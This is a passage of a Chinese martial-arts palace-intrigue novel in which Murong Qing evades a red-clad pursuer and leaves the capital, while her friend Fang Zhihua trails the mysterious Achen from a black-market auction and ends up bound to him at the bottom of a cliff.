建极帝具体何时死的,并不重要,重要的是宫中选择今日发丧鸣钟,必然做好了万全准备。
肖平本就占尽先机,她又杀了武阳侯,晋王慌乱之下,独木难支,加上此番后院火起,他与林家外戚必生嫌隙,事已至此,她无需再做什么,晋王一党也会自取灭亡。
思及此,慕容青不再犹豫,身形一展,便要跃下高墙。
“咻!”
若清点这辈子慕容青最讨厌的事,被放冷箭肯定名列前茅,好在她讨厌归讨厌,闪躲起来毫不含糊,听风辨位,便是连头也不用回,快步飞身遁逃。
“咻!”
又一支利箭破空而来,角度刁钻,直取她后心!
慕容青偏头避过,箭矢擦着她的鬓角呼啸而去,带起几缕断发。她心头火起,脚下不停,继续向前飞掠。
翻过内墙,还要再过外墙,那放箭之人身法亦是极快,如影随形,第二箭、第三箭接踵而至,逼得慕容青不得不分心闪避。
在下一支箭矢再次擦着她身侧飞过的瞬间,慕容青眸光一寒,闪电般探手捉住箭杆,腰腹发力,拧身甩臂,将那支箭反手猛掷了回去!
这一掷,灌注她十成十的内力,快如流星追月!
“嗤!”
对方倏地后仰,腰身如虹桥下弯,复起时只见一线殷红,横贯她半张侧脸——
慕容青这才赫然发现追自己的人竟是个红衣女子,依稀记起方才晋王妃身后似乎就一直静立着这么一道红色身影,想必是贴身护卫一类。
慕容青没工夫与她纠缠,立时跃过外墙,冲入漆黑的巷道,隐没于茫茫夜色。
今日国丧全城宵禁戒严,本该长街空寂,然而两家王侯府上的兵丁却倾巢而出,举着火把到处奔走搜寻,好不热闹。
很快巡城禁军便将人拦下,叫他们须得先上报宫中。而慕容青在屋脊墙垣间起起落落,此时早已远离那片是非之地,向着城西来财赌坊所在的区域潜行而去。
并非她要回去寻四和,而是在那附近有着更隐秘的藏身之所。
她刚拐入一条仅容两人并肩通过的窄巷,直觉不对,拔足便向前疾冲!果然又是一箭射来,深深钉入她身后的土墙。
小巷曲折,弓箭难以施展,一击不中,那红衣女子直接将长弓抛在一旁,身形如红鸢掠空,全力追来。
慕容青一时兴起,将轻功施展到极致,接连翻过三道低矮的院墙,又利落地穿过一户人家的后院,回头望去,身后再无人影。
离奇的是,就在下一个路口,那道红色的身影鬼魅般再度出现。
一只色彩绚丽的夜蝶扑闪着翅膀飞过,两人隔着七八丈的距离,在死寂的街道中对峙。
红衣女脸上一道为慕容青所伤的血
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痕,分外显眼,她眼中似含着两簇火星,正死死盯向慕容青。
慕容青按住腰间刀柄,默不作声,心里飞速盘算着她为何能如此精准地追踪到自己。
“身手不错。”红衣女子率先开口,说的虽然是官话,但口音浓重,“想不到中原还有你这等人物。”
她顿了顿,带着几分居高临下的意味:“你叫什么名字?老实回答的话,我可以考虑不杀你。”
“你有毛病啊?”慕容青莫名其妙,“你都打不过我,还谈什么杀不杀?”又嗤道:“你一个王府护卫,口气倒挺大。”
“谁是你们的护卫!”红衣女子满脸愠色,当即也不再多说,“敬酒不吃吃罚酒!”
下一刻,她手腕一抖,一道黑影如长蛇出洞,骤然破空袭来——竟是一条漆黑的长鞭!
鞭梢在空中炸开脆响,带着凌厉的劲风,若被这一鞭击个正中,轻则断骨,重则丧命。
慕容青身形一晃,不战反退,再次翻回刚才穿越过的后院。
角落处半人高的大水缸十分显眼,她猛地掀开木盖,迅速将双手浸入冰冷的水中用力搓洗——问题就出在那支箭上。
她方才徒手接住并掷回对方射来的箭矢,而那箭杆之上,定然涂抹了某种无色无味、却能被特殊方法追踪的油脂或者药粉。
此时红衣女子也已如红云飘然落入院中,见对方正在清洗双手,眼中闪过一丝欣赏,但手中动作却丝毫不停,刚猛的长鞭如同电闪,带着啸声再次挥出!
慕容青反应极快,堪堪侧身避过,同时左手如鹰隺探爪,一把将鞭梢牢牢攥在手中!
长鞭被她在掌心急速缠绕两圈,猛地向后拉拽,慕容青力量固然过人,这红衣女却也不差,角力的间隙,慕容青忽然用右手抄起浮在水面的葫芦瓢,迅速舀起满满一瓢冷水,冷不防迎头泼了过去!
红衣女子没料到她有此一招,下意识侧头闭眼躲避,不仅松了鞭子,人还被泼了个满头满脸,衣衫尽湿。
她飞快抹掉脸上的水珠,再定睛看时,院中空空如也,哪里还有那狡诈中原人的影子?
寒凉的夜风吹过,湿漉漉的衣物紧贴肌肤,再奔走难免不雅。她气得咬牙切齿,扯了件人家晾的麻布权当披风,对着无人的院落低斥道:“混账!你给我等着,我一定会逮到你!”
而慕容青总算摆脱那难缠的尾巴,沿路疾走,很快到了来财赌坊——不过她要去的,是斜对面小巷尽头,那间阿琛原本居住的小院。
她谨慎地观察四周,确认再无异常后,这才悄无声息地推开那扇不起眼的院门。
清明月色下,院中老桑树的叶子已落了大半,仅剩几片枯黄在夜风中簌簌发抖。
目光所及,地面、石桌、还有荒弃的鸡棚,都覆盖着一层均匀的、厚厚的灰尘。窗纸有几处破损,屋檐下悬挂着蛛网,看起来的确久无人居。
“吱嘎”一声,她踏入房中。
金色的夜枭挂毯格外晃眼,房间内的陈设一应未变,唯有窗台上那只弓身欲扑的狸猫陶像十分奇怪,数月前,它分明是温顺蹲坐的模样。
59. 惊讯
黎明破晓,晨光熹微。洒扫的小道童刚打着哈欠上工,就有一道挺拔的身影踏着石阶稳步而来。落叶被他踩得发出沙沙的轻响,道童忙道:“这位福主,还未到时辰……小四哥?”
“别这么叫我,听着就长不高。”四和唇角微扬,顺手轻轻弹了小道童一个脑瓜崩,“快带我去见你师父。”
内院,祁溪身姿如松,正在做早课,见到来人,眼底闪过一丝讶异。
相隔不过两月,四和眉宇间却是锐气大增,整个人都透出股凌厉。他感慨道:“宝剑锋从磨砺出,看来你这段时日经历不少。总算是回来了。”
四和环顾四周也没有镜子,茫然道:“我现在很苍老、很憔悴吗?唉!师兄,我现在需要面见公子。”
祁溪颔首,引他往后院静室走去,“近日风波不断,你此时进宫,须得小心安排。”
四和明白,俨然做好了假扮太监的觉悟,却没想到师兄手段更甚,取出的竟是一套宫女的服饰。四和从头发丝抗拒到脚趾尖,趾甲盖都绷直了,也不想穿绣花鞋——亏师兄能纳这么大鞋。
“你这才哪到哪。”祁溪颇有兴致地劝说道,“公子什么锦绣罗裙没穿过,大丈夫忍辱负重,不拘小节。”
“啊?!”四和根本不信,认定这是师兄捉弄他的借口。再者说,公子就算了,他扮女人那能看吗?一番殊死抵抗后,四和终于喜提小太监服一套。
待联络好宫中接应的人,穿过重重宫禁,赶赴到恢弘的澄心殿外,已是暮色四合。
殿内烛火通明,身着常服的燕平正在等候他,虽未戴冠冕,但那份独属于上位者的沉静与威仪已愈发明显。
“殿下。”四和单膝跪地,垂首直截了当地禀报了此行的全部经过。
从答应昭将作李代桃僵的计划,沿路遇伏,到主动设计反杀,将擒获的贼人交给府衙,又及如何潜入王都、避居赌馆等等,巨细靡遗,只刻意略去了一些真正生死悬于一线的惊险细节。
他有种预感,公子不会想听那些。
“……属下自作主张,有违命令,甘愿受罚。”
燕平并未显怒意,只是微微抽动了一下鼻头,平和道:“起来说话。你身上有伤?”
四和一怔,下意识地也嗅了嗅,“劳公子挂心,属下并无大碍。”
他伤愈多日,早已停用金疮药,自认身上绝无气味。不想公子的嗅觉竟敏锐至此,这让他不由自主地想起了另一号狗鼻子——呸呸呸,那女人就算了,怎可将公子与狗相提并论。
他正自省,燕平问道:“那早早呢?她可安好?”
“她好得很,”四和立刻回答,“半点没受伤,生龙活虎的。”
回想其诡谲的身手和层出不穷的手段,用“生龙活虎”来形容都算很含蓄了。
他此番也想问问公子此女到底是什么人,但祁溪师兄劝他不要多管闲事。
听到这个回答,燕平浅浅露出了一点极淡、却真实存在的笑意,一瞬间如冰湖乍裂,春水初融。
四和看得心里咯噔一声,警铃大作:完了!
尽管他也说不清究竟什么“完了”,但直觉总归不是好事。公子与她究竟是何关系?
若说是青梅竹马、两小无猜,可昭早早曾亲自登门,言辞激烈地辱骂退婚;若说是冤家对头、不共戴天,偏偏她又甘愿以身作饵,替公子引开致命追杀;说来说去,公子一听她安然无恙便露出这般神情……
直让他这个旁观者浑身不自在,感觉站在这里都显多余。
他这边还未理出个头绪,燕平已收敛笑意,又恢复了一贯的冷静道:“你去来财赌坊附近仔细搜寻,看她是否留下蛛丝马迹,或设法找到她去了何处。”
四和面露难色:“此女行事警惕,擅于隐匿行踪,是否可令官署协同?”
燕平摇头道,“此事不可摆上明面。”
他似早有准备,从案几上拿起一枚刻有奇异云纹的令牌,递给四和。
“持此令去总坛,可命所有在外教众,暗中寻访她的踪迹。记住,寻到后不可惊扰,我只是想见她一面。”
四和心中一震,双手接过令牌。
这枚“云天令”公子从未动用过,如今拿来寻人,未免太小题大做……他敢想不敢言,领命而去。
话虽如此,出得宫禁,一想到又要跟昭早早打交道,四和便觉一阵头疼。回想那些日子,与其说是逃亡,倒更像是跟着一位铁血将军在打仗。
她有时怕杀手跟不上,会故意露点行迹,有时察觉坠着的人太多,又带着他披星戴月日夜兼程。老实说,昭早早不告而别那天,他不禁大松口气。
身体的劳苦还在其次,无时无刻不精神紧绷,才是真的折磨。虽然丢人,但四和扪心自问,实在做不到像她一样安之若素,每每身处险境、照样谈笑风生,好像早就习以为常。
不出意料,寻找昭早早的难度超乎想象。就算四和调用了总坛的力量,几乎将王城错综复杂的街巷一寸寸梳理过来,依旧未能发现她的任何踪迹。
就在暗中查访迟迟未有进展之际,王城接连发生了惊天动地的大事。
首先是皇帝突然大行,国丧钟响,然而哀声未绝,武阳侯就被人立毙于侯府之中!其头颅更是被残忍割下,不久后,竟掷入了晋王府!
一石已激起千层浪,何况三石连发,顿时整个王都风声鹤唳,市井流言甚嚣尘上,一时间说什么的都有,晋王震怒,要求彻查严惩。
凶手至今仍未抓获,满城全是披甲执锐的巡街禁军,严格盘查往来行人,气氛紧张。尽管布下天罗地网,那神秘的凶手却如同鬼魅,消失得无影无踪。
晋王趁机上奏,以王都不稳、需加强防卫为由,欲征调西北军入王都“增援”。
此议被宫中断然拒绝——如今王都防务与中枢大权已由皇子燕平全权执掌,新帝即位诏书不日颁布,岂容其小丑跳梁?
朝野上下都以为晋王绝不可能善罢甘休,必有后手。
然而,接连数日,晋王府大门紧闭,对外宣称是为大行皇帝哭灵守丧,再无动作。
坊间流传,是其府上出了乱子。某些有心之人将不该说的“闲言碎语”,传与晋王听了,而自此之后,王府自顾不暇。
暗流涌动的局势变得更加浑浊难测。
方圆茶肆因此生意大好,每日来探听各路消息、秘闻的人络绎不绝,近些年朝局动荡,茶肆背后的讯息网络,早已不止于江湖。
不过此刻站在茶肆门口的却是一位特殊的客人。她穿着半旧不起眼的灰色布裙,发髻整齐地梳在脑后,看起来只是个身量略高挑些的普通妇人。
掌柜的吃这碗饭几十年,别的本领没有,对形形色色、各式各样的人,却练就一双过目不忘的火眼金睛。
他仔细端详来人片刻,确认她就是半年前曾用大小姐的切口,来这里打听过消息的女子,便道:“贵客来了,今日想要哪座山头的茶?”
慕容青稍有一丝惊讶,随即也不含糊,径直走到柜台前,压低声音道:
“掌柜的,大约两个月前曾有人委托消息楼打探一个名叫‘阿琛’之人的下落,不知可有消息?”
掌柜的点头道:“有。”
“在哪?”
“就在云州城,琼玉楼内的黑市。”
慕容青一惊,没料想这么容易就能找到阿琛的下落,更没想
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到他竟然去了那个地方。
这是纯属巧合,还是说……她忙问:“具体何处?”
“不知。”掌柜的摇头道,“我们所有的人都在找,消息楼为此已发出了最高级别的悬赏令,缉拿此人。”
慕容青眉头蹙起:“为何?”
“他掳走了主家大小姐。”掌柜的声音极低,却字字清晰,“就在半个月前。”
“方知画?!”慕容青心神巨震,失声道:“此事与她有何关联?你详细说!”
掌柜的看她勃然大怒,把好好的桐木柜台赫然压出五个指印,不得不把人先领往后堂,才道:
“沧澜港闵家当初送来两幅画像,目标都是这个叫阿琛的人,但画风截然不同。消息楼将其拓印分发,被大小姐无意间看到,认出其中一幅是她挚友所绘。”
“或许正因为如此,她在琼玉楼认出阿琛出现之后,亲自跟了上去。”
“大小姐沿途留下了特殊标记,我们据此追踪,但标记至山林中断,迄今未有眉目。”
慕容青默然无语,拳头攥得死紧。方知画定是因为想要帮她的忙,才主动去接触那个不知是人是鬼的阿琛,以致身陷囹圄。
她勉力镇定,又细问了几个问题,这才快步走出茶肆,融入街道的人流。
没走多远,她很快察觉到有几道鬼祟的身影从不同方向跟了上来。
这些暗哨什么来路她无暇细究,几个巧妙的假意驻足、穿行转折后,她成功甩脱身后的尾巴,转入去往东市的短巷——她需要买一匹快马。
“等等!”巷口迎面走来一人,正是四和。
慕容青略一点头脚步未停:“真巧。”
“哪里巧,”四和见她行色匆匆,忙拦住她去路道:“我是特意来寻你的,公子要见你一面。”
“我有急事,”慕容青有点无奈道,“需要即刻出城。”
“出城?”四和惊愕,“现在全城戒严,各处城门盘查极严,没有宫中手令,连只苍蝇都难飞出去!你怎么走?”
“我知道。”慕容青点头,“所以你能帮我是最好。”
“啊?”四和不由得退后一步,“我帮你?公子是让我带你进宫!我现在要是把你放走了,还帮你出城,回头怎么跟公子交代?”
“我没空与你多说。”慕容青态度坚决,“如果你帮不了我,我就用自己的办法出城。”
“你什么办法?”四和简直一个头两个大,怎么一遇到她什么事情都乱了套。
她的办法用脚趾头想也不是啥好事,四和忽地心头一跳,一个荒谬又极为可能的念头冒了出来,几乎是脱口而出问:“武阳侯是不是你杀的?”
不怪他瞎想,行事嚣张大胆到不要命,却偏又有此能耐的,眼下的王都中只有此人。
可他实在搞不懂,她屡次帮公子扫清障碍,眼下公子即将总揽乾纲,权御天下,她什么封赏乃至名分都不要,竟然说走就要走?
慕容青身形微动,却没有回答他的问题,只是沉声道:“让开。”
四和见她去意已决,深知绝无可能强留,便退而求其次道:“你就这样走了,连句话都不带给公子吗?”怎么也说几个字让他好交差啊!
慕容青沉默少顷,侧头认真道:“你跟他说,小心狸猫。”
“狸什么猫?”四和被这没头没脑的话说懵了,“什么狸猫?”
慕容青真没工夫与他细说,言罢不再停留,飞速离去。
时至今日,她再久离朝堂也明白肖平背后的力量绝不止一股。眼下王城虽是多事之秋,但她绝不可能弃方知画于不顾,她是慕容青,亦是昭早早,这一次,她定会守护好身边重要的人。
60. 方知画
方知画睁开眼,视线起初是一片模糊的灰白。天光从极高的、狭窄的一线吝啬地漏下来,青黑的岩壁被映照得朦朦胧胧。
她趴在一个半软不硬的东西上,脑子还犯着迷糊,半晌才聚焦。
这什么玩意?
……额滴娘,是死人啊!
救救救救命!方知画连滚带爬直往后退,心里无声尖叫,张嘴却发不出任何声音——原来人害怕到极致,想叫破喉咙都使不上劲。
她抚着胸口努力平复,喉间嗬嗬作响半天,终于是吐出……一大口血沫子。
完了,满口腥甜的方知画两眼一番就想晕倒,女儿不孝,争夺不了家产了。
从那么高的悬崖上掉下来,摔得七荤八素,又吐这么老大一口血,多半是没救,就跟她手边栓着的半裸男尸一样,不一会就得死得透透的。
昭早早都是你害得我!下辈子得给姐妹当牛做马,方知画闭上眼,含泪如是想。
歪在石头上等了半天也没有要死的感觉,她终于回过味来,脑子逐渐清醒:可能是最近上火,牙花子冒血,她好像并没有受啥内伤。
一念定,方知画当即一骨碌站起来,重新打量起四周环境。
不认识的野鸡谷底,四面环山,岩壁湿滑;不知名的破烂小花,一片荒芜,要啥啥没有,等等,前方怎么莫名其妙有个鼎,难道有野人在这煮汤?
不对,玉鼎,有钱,有钱就有有钱人哪!方知画大喜过望就要往那跑,三步之后被绊得一个趔趄——完了,忘记手上还拴着尸体呢。
她低头看着自己的手腕,很是无奈。缠丝扣,早早从前送她的生辰礼,形似一对精致的银镯,内部嵌有长约一丈、坚韧无比的蛟筋,一旦套上目标,扣环会自动收紧,非特定的钥匙无法解开。
而钥匙早在坠崖的时候弄丢了。
她套上这人,原是想帮姐妹的忙。结果忙没帮上,给自己套进去了,方知画欲哭无泪——会不会他其实没死?
这个叫什么阿琛的,好歹是早早亲自作画悬赏的人,也许祸害遗千年呢?
方知画鼓起勇气,再一次去探对方鲜血淋漓的手——虽然她勉强算半个江湖儿女,虽然她自小看过无数灵异志怪画本,但纸上得来终觉浅啊,道听途说和亲手触摸哪能一样?!
凉凉的,滑滑的,有点硬了。
方知画心儿砰砰跳,宽慰自己道这人也许天生体寒,没事的,再摸摸鼻子。
确实没气。
方知画想了一会,没想到借口,不得不接受这人真的死老半天了的惨烈现实。
她试着拽了拽,挺沉的,拖不动。且不论她有没有胆子砍掉他的手,关键这也没刀啊!如果时光可以倒流,早早再喊她一起练武,她一定不偷懒。
算了,换一个思路想,这么值钱的玉鼎搁这荒山野岭的竟没被偷,证明是真的鸟不拉屎啊!她就算过去最多也就是换个背景,没屁用。
方知画想着想着,哭了起来。
这破地方连个鬼影也没有,死尸有一个,还跟自己绑定了,千百年后被人发现遗骸,还以为他俩殉情呢,可她压根都不认识他呀!
长的是挺俊的,可回头大家两副白骨凑作堆,谁跟谁啊,有啥用啊?
人就是不能细想,越想越委屈,方知画不禁放声大哭,嗷嗷嗷嗷。无常鬼差在上,勾魂先勾我旁边这个,千万别勾错了。
“吵死了……哭丧呢……”
一道喑哑的、虚弱的声音,幽幽地飘了过来。
方知画哭得投入,没听见。
“闭嘴……吵得我头疼……”
啥子声音?
方知画脸上还挂着泪珠,茫然地四处张望。谷底除了她和尸体,空无一人。
幻听了?还是……她抽噎着低头,目光缓缓地、极其僵硬的,移向地上那具男尸的脸。
她对上了一双黑白分明、怒目圆睁的眼。
哦,诈尸了,要不怎么说人倒霉喝凉水都塞牙呢?
也难怪,这人高鼻深目,头发梢还打卷,看着就像是外夷的,不一定归中原的阴曹地府管。
那咋个办咯?
“呜呜呜呜……”方知画泪眼婆娑,急中生智从怀中摸出钱袋子,用力砸过去。
俗话说得好,有钱能使鬼推磨,有财能使怪退灾。
“你走吧你走吧,收了我的钱你就快走吧!”她双手合十深深拜道,“冤有头债有主,谁害你的找谁去,为了救你我也是拼老命了,你可不能恩将仇报!”
“你救我?!”
阿琛挺身一个闪避,好险没给又砸昏,“没你我能掉下来?!”
本来还想再说两句,看在钱袋子重量不轻的份上,他利落收下,扬扬手道:“我走去哪不得带着你啊,这个怎么解?”
方知画不敢伸头细看,但也能猜到他问的是什么,支支吾吾说:“解、解、解不了,要不你把手卸了吧?”
反正留着也没啥用,鬼怪不都主要靠法术?
“卸了?!”阿琛拔高声音道,“你还把不把我当人?你怎么不卸?”
“我是人啊,我胳膊留着还有用,”方知画畏畏缩缩偷眼看去,“你还是吗?你都凉了。”
“我体寒。”阿琛欲盖弥彰拢了拢身上挂着的几根破布条,“再说这不是为了救你,衣裳都被抓烂了。这银子就当是赔我的衣裳钱。”
“可你那身衣裳看着也不值钱……不是,”方知画狐疑地微微抬头窥视他,“我方才探过,你分明已经没气了。”
恢复了些许力气的阿琛正在检查自己的伤势,闻言动作一顿,用黑沉沉的眼睛睨着方知画,嗤笑道:
“你跟了我一晚上,从暗阁到货栈,再到这荒山野岭……难道不知道我是什么人?龟息闭气可是我的看家本领。”
也对,方知画想起来,除了早早,闵家也在找他。一个常年在海上跟龙王讨生活的舵手,这般倒也说得过去。
“你早就知道我跟踪你?”
“不然呢?”阿琛冷哼一声,试着动了动被锁住的手腕,绞索绷紧,发出细微的摩擦声。他又抬了抬腿,眉头皱得更紧,“本来以为你不敢跟进山的,没想到你功夫差劲,胆子倒挺大。”
“谁说我功夫差,”方知画输人不输阵,嘴硬道,“我轻功好着呢,昨晚那么多人追你,还不就我一个追到了?”
——昨晚。
十里长街华灯如昼,云州城内笙歌处处。
琼玉楼是云州顶有名的青楼,朱红大门前永远车马喧阗。但鲜少有人知道,穿过前厅的莺声燕语,再沿着石阶七拐八弯,绕过九曲回廊深处的一道宝瓶暗门,便能到一处截然不同的天地。
方知画此刻就站在这方天地里,左顾右盼。
这是她第三次来到这个被称为“暗阁”的黑市,可谓轻车熟路。只不过前两次都有家中长辈陪同,这一次无人看管,难免兴奋。
眼前的大厅呈环形布置,中央是个三尺高的圆形木台,铺着深红的绒毯。四周呈扇形散开数十张紫檀木椅,以屏风相隔,此刻已坐了七八成人。
“各位贵客,今夜第三件物品,是没官之物——”
台上站着个穿青灰长袍的中年人,声音不高,却清晰地传到每个角落。他是暗阁今晚的主事,没人知道他的名字,也不需要知道。
两个身着素色衣裙的侍女捧着一个长条锦盒上台,小心翼翼地在绒毯上展开。那是一幅绢本设色山水,笔意苍劲,墨色淋漓。
“此乃秦宽《梅林图》真迹,上有名士刘彤、骆三等四家鉴藏印……”
方知画的眼睛亮了。
她就是为了这幅画来的。
她自幼就是个画痴,对漂亮的字画有着近乎本能的痴迷。秦宽是她最欣赏的大家,听说暗阁今夜要出这幅真迹,她特地向学院请了长假亲自前来。
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竞拍开始得波澜不惊。起价五百两,每次加价五十两。几个穿着富贵的老者缓缓举起手中的象牙号牌牌,价格很快抬到八百两。
“九百两。”方知画声音清脆。
周遭有几道目光投来,带着审视。她面不改色,指尖却在袖子里弹琵琶——那是她紧张时的小习惯。
“九百五十两。”
“一千两。”
价格还在攀升,方知画皱了皱眉,这幅画的市价大约在一千二百两左右,超过这个数就不值了。她正犹豫还要不要再加,台上已敲下了木槌。
“一千一百两,成交。恭喜甲字七号贵客。”
方知画舒了口气,眉毛微扬。虽然比预计的多花了一百两,但想要的东西到手了。侍女将锦盒捧到她面前,她打开自行验看,确认无误后点了点头。自有方家随从去后方付账交割。
接下来的几件物什她都兴致缺缺:一柄陨铁铸就的古剑、一套精巧奢华的头面、一盒宫中御用的龙涎香……虽都是珍品,但她只好书画,正欲走人,却见第七件拍品被捧了上来。
那是一个极其普通的木匣,巴掌大小,乌木质地,没有任何雕饰。侍女打开匣盖的瞬间,厅内响起一阵轻微的骚动——不是惊叹,而是疑惑。
匣中只有一根缎带。
约两尺长,三指宽,材料是普通的丝锦,颜色是一种偏深的黛蓝,在烛光下近乎墨黑,又隐约泛出细密的暗纹。
凝神细看,方知画发现其厚度是双层的,里面或许夹着东西,用细线小心绗缝之后,便形成了那样的纹路。
没有任何装饰,没有任何标记,这根缎带就这么静静地躺在木匣中,看不出任何卖点。
她好奇地等待着主事介绍,主事却道:
“此物无名称,无来历,无说明。卖家只言:识者自知。起拍价,黄金一百两。”
“黄金?”有人低声惊呼。
厅内的骚动更为明显。一根不明所以的缎带,起价就堪比方才那幅名画。
方知画也愣住了,试图回想任何类似物件的记载或描述。消息楼收录天下奇谈异闻,她却从未听说过有这种值大钱的缎带。
更奇怪的是,竟然真的有人举牌。
“一百一十两。”声音来自右侧角落的屏风后。方知画循声望去,只能看见一个模糊的身影,戴着兜帽,脸隐在暗处。
“一百二十两。”这次是左前方一个胖硕身形的男人,同样看不到真容。
“一百五十两。”右侧那人再次开口,加价幅度陡然增大。
竞价开始以一种诡异的节奏进行。举牌者不过三两人,却个个摆出势在必得的架势,价格如着了火般疾窜,很快突破三百两黄金。
方知画越看越觉得不对劲。
就在价格喊到四百三十两时,一个新的声音加入:
“五百两。”
方知画转头看去,此人声调并不高,但在她听来却格外响亮,因为他就站在她身后。
整个场面为之一静。
没错,他是站着的。方知画先前还以为他是暗阁的巡场护卫或管事,并未多加留意。现在再看,他手里的的确确倒也拿着一面号牌,许是与这暗阁主人有几分交情,才能不按规矩入座。
一加就是七十两黄金,堪称豪掷。
他身量很高,从方知画的角度,只能看清他下半张脸的轮廓。
如果光是半张脸孔,她还没那么有把握,但加上他右耳垂上一点细微的、穿洞留下的痕迹,便八九不离十了。
数月前,她的好友昭早早差人送了一幅人像到消息楼,寻找一个名叫“阿琛”的男子的下落。那幅画她看了不下百遍,画中人每一处特征她都记得清清楚楚。
尤其是其右耳佩环,似异域风俗。毕竟中原无论男女老少,罕有穿耳者。
她不会看错。
眼前之人,正是阿琛。
61. 缠丝扣
价格竟还在攀升。
“五百二十两。”
“六百两。”
阿琛又举了一次牌,直接提高到六百两。不管这是个什么东西,都已经堪称天价,但右侧阴影里那个神秘人似乎志在必得,直接加价到七百两。
场面安静了一瞬。胖子已经放弃,屏风上他的影子颓然靠上椅背。阿琛犹豫片刻,也摇了摇头,没有再举牌。
方知画一直在偷眼盯着他,所以没有错过他双手抱臂,做了一个细微的小动作——早早也爱这样,憋着坏的时候,手指头会轻轻地敲击面前的物品,没有东西可敲,就敲自己胳膊肘。
轻轻的,慢慢的。若不是她一直关注着,根本不会注意到。
木槌落下。
“七百两黄金,成交。恭喜丙字一号贵客。”
缎带被重新放入木匣,侍女捧着它走向后台。按照暗阁的规矩,拍品交割有两种方式:一是由暗阁作为中间人,买卖双方不见面,暗阁抽取一成佣金;二是双方自行约定交易时间地点,暗阁只抽半成佣,但后果自负。
看来卖主相当缺钱,选择的是第二种方式。当然,也是因为黑市的佣金着实不菲。
阿琛悄然转身,像一缕青烟般无声无息退出大厅,方知画果断决定跟上他。
类似一种直觉,错过这个村就将没这个店,再想找到此人可不容易。她立马对随行的老仆急切吩咐道:
“福伯,你即刻用最快的渠道传信回楼里,就说我发现了阿琛的行踪,叫他们速来接应。”
“小姐,找到目标记下讯息就是,没有代客追踪的必要。”福伯面露忧色,为难道,“何况,您一个人……”
“这是我姐妹昭早早找的人,能一样吗?”这句话说得方知画差点闪了舌头,忙道,“我最多远远坠着,看清了他的落脚点就走,放心,我自有分寸,快去。”
方知画没空再多说,装出若无其事的样子,快步向门外追去。
从暗阁出来,重新穿过琼玉阁的回廊,靡靡之音盈耳。阿琛没有走前门,而是从侧边一道小门溜出,绕去了后巷。
方知画心跳得有些快,要说多兴奋也不至于——主要是挺久没练了,步法走急了呼哧带喘。
夜色正浓,明月间或被云层遮蔽,只有几颗疏星洒下稀薄的光。
巷子里堆着不少杂物,正好可以给方知画遮挡两分,她的轻功只能算一般,胜在身形灵巧,又对追踪颇有心得——毕竟家学渊源,难免深受熏陶。
奇怪的是,阿琛走路也是闪躲,脚步轻捷如狐,时不时掩于木箱竹篓之后。
好嘛,一个跟一个,就知道这人没那么容易放弃。
她屏息凝神,贴着墙角的阴影走,倒是要看看阿琛要追那些人去哪里,意欲何为。
约莫又穿过三条巷子两条街,越走越僻静,不知七拐八弯绕到了哪处货栈的后仓,这里白日车马喧腾,入夜后却空旷寥落。
院子中间空地上,已然站着两拨人。
阿琛不敢跟得太近,方知画更是离他们十几丈远,看不真切,不得已找了个院墙扒着,堪堪露出半个脑袋窥视。
左边为首的是个穿着锦缎长衫、头戴玉冠的年轻男子,年约弱冠,面容白皙,眉眼间却有股挥之不去的戾气。
看轮廓身形,方知画猜测他便是方才在暗阁里竞拍的那位“丙字一号贵客”,他身后站着两个劲装护卫,腰佩长刀,太阳穴微微隆起,显然都是内家好手。
右边只有两人,其中一个方知画居然认识——邬景同,近来行踪不明的邬志合将军的堂弟,消息楼得知,邬家近年来在替今上做一些见不得光的事情,此前丑陵太宗皇帝复活,据悉也有邬家的手笔。
而候在邬景同身侧的是个精瘦的老者,双手拢在袖中,佝偻着背,看起来就像是个随处可见的普通老头。
双方只简略交接了两句,邬景同便取出乌木匣子,打开上盖。
他没有直接把东西递过去,而是捏住缎带的一端,供对方查验。
倒是谨慎。白面公子拿起另一端看了看,略略点头,他身后护卫拎出个沉重的皮袋子,打开袋口,金光灿灿。
就在这一刹那——
一柄飞刀毫无征兆、又精准无比地射穿缎带中段,“夺”的一声,将之牢牢钉在了院中一株老槐树上。
刀柄还在微微震颤。
老者最先出手护住邬景同,下一瞬,阿琛从货堆后现身。他没有废话,扬手掷出两枚鸡蛋大小的黑色圆球。
圆球落地即炸,爆出大团浓密的灰色烟雾,瞬间弥漫了整个院子。
“有埋伏!”刘公子的护卫厉喝,长刀出鞘。
但烟雾太浓,视线受阻,咳嗽声四起。阿琛趁这个间隙,身形如豹,已掠至树下,伸手就要去拔那柄飞刀——
“找死!”
随着一声嘶哑的怒喝,那个佝偻着身子的精瘦老者几乎是化作一道灰影,劈掌直拍向阿琛后心。掌风凌厉,更快得不可思议,几无可避。
阿琛也确实没避,左手直接在树干上一拍,借力转身回掌,硬接了老者一招!
老者被他震开,满脸的不可置信,阿琛反手已取下飞刀和缎带,毫不恋战,纵身跃起便走。
“拦住他!”邬景同气急败坏。
老者、两名护卫立刻都追上去,甚至白面公子本人也从袖中射出的三枚透骨钉,袭向半空中的阿琛。
方知画在墙外看得心惊肉跳。
而阿琛在空中竟还能变换身形,双腿一踢一扭,原地打了个旋,踩着树枝借力又向上拔高尺许,险之又险地避过暗器,毫不停顿地冲向院墙。老者紧追不舍,枯爪直抓他肩胛。
阿琛突然回身掷出飞刀——
老者急退,但这瞬间的迟滞已经足够。阿琛跃上墙头,随即翻身消失。
“追!”
一群人冲出院外,但夜色茫茫,哪里辨得清阿琛逃窜的方向?当下只能分头去追。
而方知画却不一样,她躲在远处,位置还略高,看得分明——阿琛是往城外去的。
云州城繁华,有凭证半夜亦可出城,她迟疑少顷,还是小心翼翼地跟了上去。
这一追就是大半夜,阿琛脚程极快,直奔深山,方知画当真是咬牙使出了吃奶的力气,跟着他时而穿林,时而越溪。越走越是害怕,但现下折返,岂不是竹篮打水一场空?
几次差点跟丢,她全凭着一股贼不能走空的劲儿勉强吊着。
天色渐明,东方泛起鱼肚白时,他们已深入云州城西的苍茫山。
晨雾在山林间弥漫,方知画气也不敢大口喘,躲在一棵树后,看着前方阿琛的身影消失在一片奇崛的石林之中。
那是一片天然形成的石林,无数灰白色的石柱拔地而起,高的有数丈,矮的也有尺许,犬牙交错,构成一座天然的迷宫。
方知画也算是见多识广,一眼瞧出这石林看似天工造物,实则暗含奇门遁甲,她哪敢贸然闯入。
不如就守在门口等那人出来,正好她也需要好好歇一会。
若他从另外的路跑掉,哪也是没有办法,跟到这里,自己的体力早已接近极限。
只可惜树欲静而风不止,方知画正歇着,身后忽地传来一声枯枝断裂的“咔嚓”声。
她浑身寒毛倒竖,猛地回头——距离她不到三丈,一头吊
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睛白额虎正从灌木丛后缓缓走出。
这可真是,流年不利,倒了血霉了!
